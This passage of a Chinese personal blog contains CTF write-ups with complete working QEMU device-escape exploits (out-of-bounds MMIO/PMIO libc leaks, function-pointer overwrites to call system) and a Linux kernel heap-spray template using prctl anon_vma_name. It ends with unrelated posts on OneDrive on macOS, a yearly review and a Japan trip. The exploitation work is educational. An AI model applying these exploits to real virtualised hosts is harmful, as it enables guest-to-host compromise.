        REALPATH=$(realpath "$DEPENDENCY")
        cp -v "$REALPATH" "$DESTINATION_DIR/$(basename "$DEPENDENCY")"
    else
        echo "Warning: Dependency '$DEPENDENCY' not found."
    fi
done
echo "All dependencies copied to '$DESTINATION_DIR'."
root@00516f495748:/home/ctf# ./ldd_copier.bash qemu-system-x86_64 ./my_libs
'/lib/x86_64-linux-gnu/libz.so.1.2.11' -> './my_libs/libz.so.1'
'/usr/lib/x86_64-linux-gnu/libpixman-1.so.0.34.0' -> './my_libs/libpixman-1.so.0'
'/lib/x86_64-linux-gnu/libutil-2.27.so' -> './my_libs/libutil.so.1'
'/usr/lib/x86_64-linux-gnu/libfdt-1.4.5.so' -> './my_libs/libfdt.so.1'
'/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.5600.4' -> './my_libs/libglib-2.0.so.0'
'/lib/x86_64-linux-gnu/librt-2.27.so' -> './my_libs/librt.so.1'
'/lib/x86_64-linux-gnu/libm-2.27.so' -> './my_libs/libm.so.6'
'/lib/x86_64-linux-gnu/libgcc_s.so.1' -> './my_libs/libgcc_s.so.1'
'/lib/x86_64-linux-gnu/libpthread-2.27.so' -> './my_libs/libpthread.so.0'
'/lib/x86_64-linux-gnu/libc-2.27.so' -> './my_libs/libc.so.6'
'/lib/x86_64-linux-gnu/libpcre.so.3.13.3' -> './my_libs/libpcre.so.3'
All dependencies copied to './my_libs'.

然后拷到 nopwndocker 里,我们开两个窗口

LD_LIBRARY_PATH=./my_libs ./run.sh
PID=$(ps -a | grep qemu | awk '{print $1}')

if [ -z "$PID" ]; then
    echo "No qemu process found"
    exit 1
fi

gdb -p $PID -x gdbscript

可以看到大概是这样的

index = 0,
  buffer = {0 <repeats 16 times>},
  log_handler = 0x7faa43e0d140 <dprintf>,
  log_fd = 2,
  log_arg = 0,
  log_format = '\000' <repeats 127 times>,
  status = 0
}
pwndbg> p *(CCBPCIDevState *)0x00005642fdea5ee0

这里有一个 dprintf 的指针,我们看看能不能拿到它,简单计算一下 offset(每个 uint32),我们用 0x11 即可。

mmio_write(0, 0x11);
mmio_read(4);
printf("mmio_read(4) = 0x%x\n", mmio_read(4));

// mmio_read(4) = 0xf4bec140

显然拿到了,不过一次拿一个 uint32,所以我们要再往前读一点,然后计算 libc 基址,然后拿到 system 上去,对于 /bin/sh 也是一样,不再赘述。

exp

#include <sys/io.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/types.h>

unsigned char* mmio_mem;
uint32_t pmio_base=0xc010;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void mmio_write(uint32_t addr,uint32_t value)
{
    *((uint32_t *)(mmio_mem+addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem+addr));
}

void pmio_write(uint32_t addr,uint32_t value)
{
    outl(value,addr);
}

uint32_t pmio_read(uint32_t addr)
{
    return (uint32_t)(inl(addr));
}

uint32_t pmio_abread(uint32_t offset)
{
    //return the value of (addr >> 2)
    pmio_write(pmio_base+0,offset);
    return pmio_read(pmio_base+4);
}

void pmio_abwrite(uint32_t offset,uint32_t value)
{
    pmio_write(pmio_base+0,offset);
    pmio_write(pmio_base+4,value);
}

int main()
{
// Open and map I/O memory for the strng device
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");

    printf("mmio_mem @ %p\n", mmio_mem);

    mmio_write(0, 0x11);
    uint64_t libc_base = mmio_read(4);
    mmio_write(0, 0x12);
    libc_base |= ((uint64_t)mmio_read(4)) << 32;
    libc_base -= 0x65140;

    printf("libc_base = 0x%lx\n", libc_base);

    uint64_t system = libc_base + 0x403860;
    uint64_t binsh = libc_base + 0x1b3d88;

    printf("system = 0x%lx\n", system);
    printf("binsh = 0x%lx\n", binsh);

    mmio_write(4, system >> 32);
    mmio_write(0, 0x11);
    mmio_write(4, system & 0xffffffff);

    mmio_write(0, 0x13);
    mmio_write(4, binsh & 0xffffffff);
    mmio_write(0, 0x14);
    mmio_write(4, binsh >> 32);

    mmio_write(0xc, 0);




    return 0;
}

这里我们已经拿到了 /bin/sh,但是出于某种原因没办法交互(管道冲突?),在 docker 中可以正常打

attachs

这里丢了一些调试的时候用到的脚本

ldd_copier.sh

用于从 docker 中一键拉一个 elf 的所有依赖,方便后面用 LD_LIBRARY_PATH 指定

#!/bin/bash

if [ "$#" -ne 2 ]; then
    echo "Usage: $0 <source_file> <destination_directory>"
    exit 1
fi

SOURCE_FILE="$1"
DESTINATION_DIR="$2"

if [ ! -f "$SOURCE_FILE" ]; then
    echo "Error: Source file '$SOURCE_FILE' does not exist."
    exit 1
fi

if [ ! -d "$DESTINATION_DIR" ]; then
    mkdir -p "$DESTINATION_DIR"
fi

ldd "$SOURCE_FILE" 2>/dev/null | awk '
    /=> \// && !/linux-vdso/ { print $3 }
    /^\// && !/linux-vdso/ { print $1 }
' | while read -r DEPENDENCY; do
    if [ -f "$DEPENDENCY" ]; then
        REALPATH=$(realpath "$DEPENDENCY")
        cp -v "$REALPATH" "$DESTINATION_DIR/$(basename "$DEPENDENCY")"
    else
        echo "Warning: Dependency '$DEPENDENCY' not found."
    fi
done
echo "All dependencies copied to '$DESTINATION_DIR'."

upload.py

用于远程上传

from pwn import *
import time, os

# p = process('./run.sh')
r = remote("localhost", 9999)
output_name = './exp'

# p = process(['./qemu-system-x86_64', '-m', '512M', '-kernel', './vmlinuz', '-initrd', './core.cpio', '-L', 'pc-bios', '-monitor', '/dev/null', '-append', "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr", '-cpu', 'kvm64,+smep', '-smp', 'cores=2,threads=1', '-device', 'ccb-dev-pci', '-nographic'])
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")

def exec_cmd(cmd: bytes):
    r.sendline(cmd)
    r.recvuntil(b"/ # ")

def upload():
    p = log.progress("Uploading...")

    with open(output_name, "rb") as f:
        data = f.read()

    encoded = base64.b64encode(data)

    r.recvuntil(b"/ # ")

    for i in range(0, len(encoded), 500):
        p.status("%d / %d" % (i, len(encoded)))
        exec_cmd(b"echo \"%s\" >> benc" % (encoded[i:i+500]))

    exec_cmd(b"cat benc | base64 -d > bout")
    exec_cmd(b"chmod +x bout")

    p.success()
upload()
context.log_level='debug'
# r.sendlineafter("/ #", "./bout")
r.interactive()

compile.sh

用于编译 + 压缩到 cpio 中,方便本地调试

#!/bin/sh

musl-gcc -w -s -static -o3 exp.c -o fs/exp
cd fs
compress_fs core.cpio

附赠 compress_fs 和 extract_fs

#!/bin/bash

# 默认目标文件夹
folder="fs"

# 解析参数
while [[ "$#" -gt 0 ]]; do
  case $1 in
  -f | --folder)
    folder="$2"
    shift
    ;;
  *)
    cpio_path="$1"
    ;;
  esac
  shift
done

# 检查cpio_path是否提供
if [[ -z "$cpio_path" ]]; then
  echo "Usage: $0 [-f|--folder folder_name] cpio_path"
  exit 1
fi

# 创建目标文件夹
mkdir -p "$folder"

# 将cpio_path拷贝到目标文件夹
cp "$cpio_path" "$folder"

# 获取文件名
cpio_file=$(basename "$cpio_path")

# 进入目标文件夹
cd "$folder" || exit

# 判断文件是否被 gzip 压缩
if file "$cpio_file" | grep -q "gzip compressed"; then
  echo "$cpio_file is gzip compressed, checking extension..."

  # 判断文件名是否带有 .gz 后缀
  if [[ "$cpio_file" != *.gz ]]; then
    mv "$cpio_file" "$cpio_file.gz"
    cpio_file="$cpio_file.gz"
  fi

  echo "Decompressing $cpio_file..."
  gunzip "$cpio_file"
  # 去掉 .gz 后缀,得到解压后的文件名
  cpio_file="${cpio_file%.gz}"
fi

# 解压cpio文件
echo "Extracting $cpio_file to file system..."
cpio -idmv <"$cpio_file"
rm "$cpio_file"
echo "Extraction complete."
#!/bin/sh

if [[ $# -ne 1 ]]; then
  echo "Usage: $0 cpio_path"
  exit 1
fi

cpio_file="../$1"

find . -print0 |
  cpio --null -ov --format=newc |
  gzip -9 >"$cpio_file"

gdb.sh

用于 docker 里一键起 gdb attach 到 qemu 然后调试

#!/bin/sh
PID=$(ps -a | grep qemu | awk '{print $1}')

if [ -z "$PID" ]; then
    echo "No qemu process found"
    exit 1
fi

gdb -p $PID -x gdbscript

附赠个 gdbscript

# b ccb_dev_mmio_read
b *$rebase(0x5798b1)
c

docker

起调试用 docker 的指令

docker run -it -v .:/mnt --rm --privileged nopwnv2:18.04

Stage2: Simple OOB with PMIO - Blizzard CTF 2017 / STRNG

题目附件:rcvalle/blizzardctf2017: Blizzard CTF 2017: Sombra True Random Number Generator (STRNG).

上面那题在当时看了洋爹的 exp,因此不太有自我思考的成分在。我们从零做个经典的。

拿到一个 tar 包,结果他没有启动参数,也没有用 docker。一看 github 是 ubuntu14.04 的环境。哈哈,你看这事闹得。但是尝试了一下它的命令还是能起起来的, 那就在我 Arch 上跑了。

直接丢 ida 研究一下,有符号,直接搜题目名字看看,直接一眼顶针了。

image-20250512163919166

但是这个不好看,显然是因为这里是 ObjectClass 的原因,给他修一下改成 PCIDeviceClass。

image-20250512164422658

自然对应我们 lspci -v 里的这个设备

00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
        Subsystem: Red Hat, Inc Device 1100
        Physical Slot: 3
        Flags: fast devsel
        Memory at febf1000 (32-bit, non-prefetchable) [size=256]
        I/O ports at c050 [size=8]

拿到了 PMIO 的 baseaddr 0xc050

回到 ida,我们看看 pmio/mmio 的 read/write 函数,记得把第一个 opaque 修一下类型,具体类型也可以在 Local Type 里面找到,是 STRNGState *

在 mmio_write 中发现我们可以设置 rand 种子,然后也可以利用 rand 函数生成随机数存进去,还有一个 rand_r 函数,它的参数来自于 opaque->regs[2],也是可以通过这里可控的。同时,我们可以往 opaque->regs[addr >> 2] 的地方写一个 val,这个看着就是越界写哈。

那么思路很有可能就是修改 rand 指针,他传入的第一个参数是 opaque,那么如果开头存了 /bin/sh 就可以;不然就是改 rand_r 指针,因为它的参数我们更好控制,因为 regs[2] 是我们合法就能写的。

mmio_read 可以读 opaque->regs[addr >> 2],看着就是有个越界读哈,又来美美泄露 libc 咯

pmio_read 也是一样,唯一的区别在于它的 addr 是 opaque->addr

pmio_write 长得和 mmio_write 很像,但是限制更少一些,并且也没有类型转换,可以直接用 (_DWORD)(opaque->addr >> 2) 当下标,然后直接写 val。在 mmio_write 里, 它会写在 (int)(addr >> 2)

那为啥不直接用 mmio 呢,我寻思也妹区别啊?例如我们读一个 srand

int srand_addr = mmio_read(65<<2);
printf("srand_addr = %x\n", srand_addr);

然后发现有生殖隔离,这 ubuntu14.04 实在是太高版本了。还好它的里面自带 gcc,那就把 exp.c 传过去,然后在那 gcc 编译。

结果我们发现完全断不到 mmio_read 函数上,并且 srand_addr 也是 0。当我们把它地址改到 regs 的其他地方,它又可以了。

显然是有高水平的东西在作怪,观察 realize 函数我们可以发现,它在 memory_region_init 的时候,竟然设置了大小为 256,显然,qemu 在这里存在一个检查,让我们没有办法越界访问。

image-20250512174042840

因此我们得使用 pmio,因为正如上文分析的,pmio 用的是 opaque->addr,而这个东西是我们可以控制的。

image-20250512174211402

那么就是用 PMIO 来打咯。

int main()
{
    if(iopl(3)!=0){perror("iopl failed");exit(-1);}

    pmio_write(0, 65 << 2);
    int srand_addr = pmio_read(4);
    printf("srand_addr = %x\n", srand_addr);

    return 0;
}
srand_addr = a49c7ba0

轻松写意了有点,继续把高位泄露,然后传参即可。

有个坑点,它这个环境用 uint64_t 不能搞到 64bit,而是 32bit,不知道为啥,反正最后用了 long long 才行。

但是有个问题,我们知道 rand_r 第一个参数是 &regs[2],也就意味着我们如果写 /bin/sh 的话必然会碰到 regs[3],但是在 pmio 中并不能设置 regs[3],它会直接调用 rand_r, 因此我们还需要把 mmio 也接上。

实际上,我们似乎也可以直接用 sh,从而避免这个问题。

由于它是 ssh 的,不太好搞,因此我写成了 cat flag 来拿宿主机的 flag

exp

#include <sys/io.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/types.h>

unsigned char* mmio_mem;
uint32_t pmio_base=0xc050;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void mmio_write(uint32_t addr,uint32_t value)
{
    *((uint32_t *)(mmio_mem+addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem+addr));
}

void pmio_write(uint32_t addr,uint32_t value)
{
    outl(value,pmio_base + addr);
}

uint32_t pmio_read(uint32_t addr)
{
    return (uint32_t)(inl(pmio_base + addr));
}

int main()
{
    if(iopl(3)!=0){perror("iopl failed");exit(-1);}

    pmio_write(0, 65 << 2);
    uint32_t low_bits = pmio_read(4);
    pmio_write(0, 66 << 2);
    uint32_t upper_bits = pmio_read(4);
    long long srand_addr = ((long long)upper_bits << 32) | ((long long)low_bits & 0xFFFFFFFF);
    printf("srand_addr = 0x%llx\n", srand_addr);

    long long libc_base = srand_addr - 0x43ba0;
    long long system_addr = libc_base + 0x403860;
    long long binsh_addr = libc_base + 0x1b3d88;
    printf("libc_base = 0x%llx\n", libc_base);
    printf("system_addr = 0x%llx\n", system_addr);
    printf("binsh_addr = 0x%llx\n", binsh_addr);

    // binsh
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");

    printf("mmio_mem @ %p\n", mmio_mem);

    // system
    pmio_write(0, 69 << 2);
    pmio_write(4, system_addr & 0xFFFFFFFF);
    pmio_write(0, 70 << 2);
    pmio_write(4, (system_addr >> 32) & 0xFFFFFFFF);

    // binsh
    int binsh[2];
    memcpy(binsh, "cat flag", 8);
    mmio_write(2 << 2, binsh[0]);
    mmio_write(3 << 2, binsh[1]);

    // call system
    mmio_write(3 << 2, binsh[1]);

    return 0;
}

attachs

compile.sh

用了 sshpass 来传

#!/bin/sh

sshpass -p "passw0rd" scp -P 5555 /mnt/exp.c ubuntu@localhost:/home/ubuntu/exp.c
sshpass -p "passw0rd" ssh -p 5555 ubuntu@localhost "cd /home/ubuntu && gcc -w -s -static -o3 exp.c -o exp"
sshpass -p "passw0rd" scp -P 5555 ubuntu@localhost:/home/ubuntu/exp .

References

虚拟机逃逸初探(更新中) - l0tus’ blog

Qemu逃逸初识 | S1nec-1o’s B1og

【KPWN】一种相对新的 Kernel Elastic Object 结构体 anon_vma_name

2025年4月14日 08:00

水一下。能用作堆喷结构体,可以喷 [kmalloc-8, kmalloc-96],每次系统调用仅分配一个 obj,并且是 GFP_KERNEL flag,可以读取(但是 \0 截断),可以释放。

看论文的时候看到的,但是转了一圈国内好像没有人写过这个结构体?小 size 应该还挺好用的,msg 虽然也可以,但是他是 cg groups 里的,如果想要做这种堆喷就要打 cross cache,麻烦。

可以看到两次系统调用之间只有一次 __kmalloc 调用

image-20250414155042759

板子

#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/prctl.h>
#include <string.h>

#define PAGE_SIZE (1 << 12)

#define ALLOCS 2048*4
static size_t times[ALLOCS];
static void *addresses[2*ALLOCS];

#ifndef PR_SET_VMA
#define PR_SET_VMA 0x53564d41
#define PR_SET_VMA_ANON_NAME 0
#endif
int rename_vma(unsigned long addr, unsigned long size, char *name)
{
    int res;
    res = prctl(PR_SET_VMA, PR_SET_VMA_ANON_NAME, addr, size, name);
    if (res < 0)
        printf("prctl");
    return res;
}

void init_vma_name(void)
{
    pr_info("init addresses\n");
    for (int i = 0; i < 2*ALLOCS; i++) {
        addresses[i] = mmap(0, 1024, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (addresses[i] == MAP_FAILED)
            printf("mmap");
    }
}

void alloc_objs(size_t size)
{
    // size from 0 to 80
    pr_info("allocate %d objs\n", ALLOCS);
    char *buffer;
    buffer = malloc(size);
    memset(buffer, 0x41, size);
    buffer[prev_size - 1] = 0;
    for (size_t i = 0; i < ALLOCS; i++) {
        char store[5];
        memset(store, 0, 5);
        snprintf(store, 5, "%04ld", i);
        memcpy(buffer, store, 4);
        printf("buffer %s len %ld\n", buffer, strlen(buffer));
        rename_vma((unsigned long) addresses[i], 1024, buffer);
    }
}

// free
// rename_vma((unsigned long) addresses[i], 1024, NULL);

// read
// cat /proc/self/maps

分析

prctl

https://elixir.bootlin.com/linux/v6.2/source/kernel/sys.c#L2628

一个简单的 wrapper

SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
    unsigned long, arg4, unsigned long, arg5)
  case PR_SET_VMA:
    error = prctl_set_vma(arg2, arg3, arg4, arg5);
    break;

所以可以看到函数签名大概是这样的

int prctl(PR_SET_VMA, unsigned long opt, unsigned long addr, unsigned long size, const char* name)

prctl_set_vma

https://elixir.bootlin.com/linux/v6.2/source/kernel/sys.c#L2301

#ifdef CONFIG_ANON_VMA_NAME

#define ANON_VMA_NAME_MAX_LEN    80
#define ANON_VMA_NAME_INVALID_CHARS  "\\`$[]"

static int prctl_set_vma(unsigned long opt, unsigned long addr,
       unsigned long size, unsigned long arg)
{
  struct mm_struct *mm = current->mm;
  const char __user *uname;
  struct anon_vma_name *anon_name = NULL;
  int error;

  switch (opt) {
  // highlight-next-line
  case PR_SET_VMA_ANON_NAME:
    uname = (const char __user *)arg;
    if (uname) {
      char *name, *pch;

      // highlight-next-line
      name = strndup_user(uname, ANON_VMA_NAME_MAX_LEN);
      if (IS_ERR(name))
        return PTR_ERR(name);

      for (pch = name; *pch != '\0'; pch++) {
        if (!is_valid_name_char(*pch)) {
          kfree(name);
          return -EINVAL;
        }
      }
      /* anon_vma has its own copy */
      // highlight-next-line
      anon_name = anon_vma_name_alloc(name);
      kfree(name);
      if (!anon_name)
        return -ENOMEM;

    }

    mmap_write_lock(mm);
    error = madvise_set_anon_name(mm, addr, size, anon_name);
    mmap_write_unlock(mm);
    anon_vma_name_put(anon_name);
    break;
  default:
    error = -EINVAL;
  }

  return error;
}

可以看到 check 非常少,只要保证传进来的 name 是 printable,没有 invalid char,并且算上 terminal char 不大于 80 字节即可

anon_vma_name_alloc

https://elixir.bootlin.com/linux/v6.2/source/mm/madvise.c#L71

struct anon_vma_name *anon_vma_name_alloc(const char *name)
{
  struct anon_vma_name *anon_name;
  size_t count;

  /* Add 1 for NUL terminator at the end of the anon_name->name */
  count = strlen(name) + 1;
  anon_name = kmalloc(struct_size(anon_name, name, count), GFP_KERNEL);
  if (anon_name) {
    kref_init(&anon_name->kref);
    memcpy(anon_name->name, name, count);
  }

  return anon_name;
}

这里就一个 kmalloc,flag 是 GFP_KERNEL

这里会动态计算 struct anon_vma_name 的大小,套来套去其实就是 strlen(name) + 1 + sizeof(int)

struct anon_vma_name {
  struct kref kref;
  /* The name needs to be at the end because it is dynamically sized. */
  char name[];
};

struct kref {
  refcount_t refcount;
};

typedef struct refcount_struct {
  atomic_t refs;
} refcount_t;

typedef struct {
  int counter;
} atomic_t;

注意这里不能设置同样的名字,否则会变成一个然后给它的 refcnt + 1,具体可以看 dup_anon_vma_nam 之类的函数

至于 free,那就自然是等到 refcnt 为 0 的时候了,至于怎么减少 refcnt,把它的名字设置成 NULL 即可。

void anon_vma_name_free(struct kref *kref)
{
  struct anon_vma_name *anon_name =
      container_of(kref, struct anon_vma_name, kref);
  kfree(anon_name);
}

至于读取,则可以看 https://elixir.bootlin.com/linux/v6.2/source/fs/proc/task_mmu.c#L310

static void
show_map_vma(struct seq_file *m, struct vm_area_struct *vma)
{
  struct anon_vma_name *anon_name = NULL;
  struct mm_struct *mm = vma->vm_mm;
  struct file *file = vma->vm_file;
  vm_flags_t flags = vma->vm_flags;
  unsigned long ino = 0;
  unsigned long long pgoff = 0;
  unsigned long start, end;
  dev_t dev = 0;
  const char *name = NULL;

  if (file) {
    struct inode *inode = file_inode(vma->vm_file);
    dev = inode->i_sb->s_dev;
    ino = inode->i_ino;
    pgoff = ((loff_t)vma->vm_pgoff) << PAGE_SHIFT;
  }

  start = vma->vm_start;
  end = vma->vm_end;
  show_vma_header_prefix(m, start, end, flags, pgoff, dev, ino);
  if (mm)
    anon_name = anon_vma_name(vma);

  /*
   * Print the dentry name for named mappings, and a
   * special [heap] marker for the heap:
   */
  if (file) {
    seq_pad(m, ' ');
    /*
     * If user named this anon shared memory via
     * prctl(PR_SET_VMA ..., use the provided name.
     */
    if (anon_name)
      seq_printf(m, "[anon_shmem:%s]", anon_name->name);
    else
      seq_file_path(m, file, "\n");
    goto done;
  }

这个函数会在读 /proc/self/maps 的时候触发,只要解析 [anon_shmem:%s] 的 %s 就可以了。

MacOS 添加多个相同 Organization OneDrive 账户

2025年3月24日 08:00

好久没水博客了,最近买了 Mac,遇到了这个问题,解决一下。

简而言之,就是 Mac CloudStorage 在添加 Onedrive 的时候,是用的 “Onedrive - %ORG_NAME%” 作为唯一标识符,因此会导致无法添加多个相同账户,对我这种 E5 云存储小偷非常不利。

首先正常添加用户 A,完成后,你应该能在 ~/Library/CloudStorage 下看到对应的 OneDrive 文件

image-20250324131551356

此时 退出所有的 OneDrive 程序,跳转到 ~/Library/Containers/com.microsoft.OneDrive-mac/Data/Library/Application Support/OneDrive/settings/Business1,此时你能看到一个 「GUID」.ini 文件

image-20250324132225033

打开这个文件,你应该能看到这里有一个写了你组织名的地方,把它修改成你想的东西(例如说 OneDrive - Photos),不要和组织名重合。

![image-20250324132909430](/Users/muelnova/Library/Application Support/typora-user-images/image-20250324132909430.png)

保存,然后打开 OneDrive,此时它应该会报错找不到这个文件了,点击重试,等一会之后再重启 OneDrive。

image-20250324133325460

此时 OneDrive 应该已经正常工作了,并且你可以看到新的 OneDrive 文件夹

image-20250324133536785

现在可以加新号了,它会保存在 ~/Library/Containers/com.microsoft.OneDrive-mac/Data/Library/Application Support/OneDrive/settings/Business2,之后就以此类推。

2024 年终总结,又叫 2025 年初展望

2025年1月15日 08:00

其实已经想咕咕了,因为今年总结好像早就在各个文章里总结完了(心虚

但是作为一个例行惯例,还是写一写吧,换种方式。

总结

2024 年对于自我提升来说,是灾难的一年。

在这一年里我几乎失去了所有对自己的约束,没有再给自己做一些计划,或者是继续搞一些 Hacking Life 的东西,对于自己的作息之类的也完全乱套,所以一年其实也没有完成任何的 Milestone。

到了今天这个时节,我觉得我的早晨已经完全不存在了,每周没课带来的一个坏处就是没有其他约束自己的外在动力了,所以我根本不设置闹钟,每次都睡到自然醒,甚至自然醒之后也因为没有必须要做的事情而继续躺着玩手机或者睡觉。早上没法启动的坏处会蔓延一整天,导致我其他时候也啥都不想干 —— 例如,我原本计划去实验室,而因为早上没去,我就觉得只在实验室待一个下午并非值当(打卡时间太短),再加上交通工具的摊销,这就导致我往往疲于前往工位。而在宿舍,大脑显然也无法进入工作状态,所以一年到头就是纯粹的完几把蛋。

2024 年也算是一个决定我人生未来轨迹的一个十字路口。虽然我个人总称自己 “不喜欢被传统观念绑架”,但是真到了自己身上,却又总是脱不开这个繁文缛节。哪怕我内心极其渴望经济独立,但我也没有能力做到放弃已有的保研资格,放弃进入所谓名校追求学历 —— 哪怕我自认为我根本不是这块料,我觉得我并不是一个懂得创新的人。但无论如何,现在谈秋招谈保研都已为时已晚,而在人生的刻度尺上,我也不知道这个选择究竟会带来多大影响,但这显然不是应该在 2024 年年终总结的时间线上该思考的事情。

但在另一个意义上,做出这种决定的一个好的方面就是我可以稍后再做那些人生决定,而把珍贵的自由时间留给大学的我自己,借此机会,我也在下半年里趁机游览了一下世界,欣赏了一些风景,体验了一些文化,也算是给所剩无几的青春奏响了尾声。再加上相机、Vlog 相机的购入,我也得以把一些时间的痕迹以影像的方式保存下来,在这个意义上,2024 年又算是一个对我而言意义非凡的一年。

所以我对 2024 年,也算是又爱又恨吧,给你打个 7 分,Love you。

每年咕咕咕的打卡情况

2023 年定下了一些并不明确的目标,现在来清算一下(心虚

  • 想在 24 年 “戒游戏”:从 Steam 年终总结来看,我确实在前半年做到了戒游戏。但是下半年,尤其是保研结束之后,感觉又回到大一了…关键是分还没上去,难受啊。
  • 总而言之先坚持着健身吧:不知不觉还真把这个坚持下来了,虽然中间因为比赛啊回家啊之类的各种原因半途而废了好几次,但是最终满打满算也算是养成了这个习惯。当然如果按一年来说这训练结果只能说差强人意,毕竟没有系统的做过计划,但比起一年前确实好多了。
  • 多参与一些社交活动吧:线下聚餐算吗?进行了一些滑雪、爬山等活动,但是都是和熟人,没有扩展交际圈。老实说我现在怪敢和不认识的人就开口说话的,但是完全没有进一步的想法。2024 年新增朋友:0。

展望

总结实在是没活硬整了,过去一年确实也过的稀里糊涂的,得过且过吧。至于 2025 年,我们还是多进行一些系统性的展望。


一个比较大的目标就是在 2025 年 12 月份的时候自学考过 N2。

这次去日本旅游的一大遗憾就是没有更多的体验当地的一些文化,而更多的还是以游客的视角游览了日本。我对于日本因为动漫等因素一直有一层滤镜,所以在日本的旅游我更希望以一种贴近当地人的方式进行体验,更倾向去体验一些小岛、乡村之类的慢生活的,鲜有游客涉足的居住。原本我认为英文就能解决了,但是显然仅限于游客视角。

想要更加了解当地文化,还是得用他们自己的语言。这次去日本我就发现得益于看和听二次元,很多东西我还是能听懂的,但是没法回答 —— 例如我在舞子公园给一对遛狗的爷爷奶奶拍照的时候(结果没对上焦),就和他们进行了交流。我和他们说了我来自哪里,旅游路线是什么,为什么会来到这里,也从他们的聊天里知道了他们住在哪里,平常干些什么,孙子在哪里上学,但我却没法深入对话,因为我语言知识太过匮乏,只能蹦单词而不是句子 —— 即使这样,这也是我这次日本旅行里记忆极深的一个片段。

也是怀着这个遗憾,我也打算后面再次造访日本,从一个不同的视角再去体验日本文化,而语言显然是刚需。此外,从日本回来后,滤镜该说不说既加深了也减轻了,所以其实我也有一个想法就是通过 J-Find 计划留日工作,那么显然早点学习语言会更有竞争力。


另一个计划就是开始理财,每个月尽可能存下 1000~2000 用于自由理财,争取达到 5% 的年化率,也就是大概 1000 左右的收益。

2024 年把港股啥的都开了,港卡啥的也办了,为了开这个卡也了解了一些金融基础知识搞了点基金(赔了),感觉也是时候开始理财了,希望至少能保本()


还有一个计划就是继续健身增重到 60kg,然后在穿搭上借鉴学习精进一下(这个比较主观就不给具体数值了)。

在国内身高没办法,那至少可以靠穿搭健身拉一拉。在国外(特指日本)穿搭比不上,那也不能拖了后腿,身高虽说也不高吧但感觉不会像国内这样被歧视(悲。

这也有一些子计划,也算是现充生活计划吧。首先就是继续培养兴趣爱好,目前看来我觉得还是徒步和滑雪(听着就很费钱),我觉得滑雪至少得掌控中级道。然后徒步的话,完成三个中级难度的登山好了(爬升 1500m 左右?)


最后一个计划,养成规律作息:01

~09
的完美作息。

最不抱希望的一集。


去日本的时候,我在随意逛的时候遇到了一个神社,在里面参拜祈愿,抽到运势为大吉。回去之后,发现那个神社是供奉姻缘相关的,而我祈愿的内容就是 “想找一个日本女朋友”,希望明年能去神社还愿

【日本游记 ep.1】初探日本

2024年12月27日 08:00

这是我第一次到日本,我很确信未来还会有更多次,因此这是 ep.1。

在 ep.1 中,我将以一个普通游客的视角,根据小红书等旅游软件来探索日本,尤其是关东与关西地区。

这次旅游规划的比较仓促,选择了阪进东出,然而时值年末,其实最应该去北海道。由于同行者为非二次元,因此也几乎没有圣地巡礼环节。

因此,在这次游记中,我们主要以一个普通的游客视角来看日本,着眼于各类较为热门的景点。而在未来可能到来的旅行中,我认为我会更加追随 “文化” 这一概念,从旅行中去体验当地人的生活与饮食。

懒得思考了,所以用流水账手法写,哈哈。

0、规划

基本上这个时间比较尴尬,因为想要在 1/1 的时候去 初詣,结果没有考虑到这段时间的景色 / 出行 / 食宿等各种问题。

大概的想法还是说跟着小红书各种指南走,除去到达当晚外,在第一天游历大阪,第二天去奈良,第三天去神户,后面去两天京都,然后去东京玩。

我们在大阪住酒店,几天都在同一个酒店,一定程度限制了我们的行动范围,但也一定程度扩大了我们的行动自由度。

我们在东京则是一个浅草的两层独栋,是一种偏昭和的日式风格,价格也很不错,缺点就是有一点点偏。

1、Day0

到达机场大概是 UTC+9 20

左右。出关后,找到 JR 站就可以购入 icoca card。我充值了 10000yen。

这个时候完全没有注意我的护照掉了,通过 google map,争论了很久应该坐哪班 JR,最终乘坐了 空港急行 一路坐到 難波駅。路上人并不多,基本上都是非日本人,所以此时还不是很触动。但是一出车站,听着广场上的人讲话,突然就被圣诞氛围震惊了(其实应该是灯光祭而非圣诞节?),第一反应就是白色相簿照进现实(

IMG20241227223432

于是进入地下铁前往酒店,从 難波 前往 本町。路上感觉醉鬼很多,毕竟是十点多了,也没有很久以前在网上看的所谓 “街道一尘不染”,也算是揭开了最后一丝日本人高素质在我心中的遮羞布。

进入到酒店,一摸包我就知道 “完了,护照没了”。于是立马原路返回,一路找工作人员问,虽然毫无收获,但是其实还是挺有感触的。

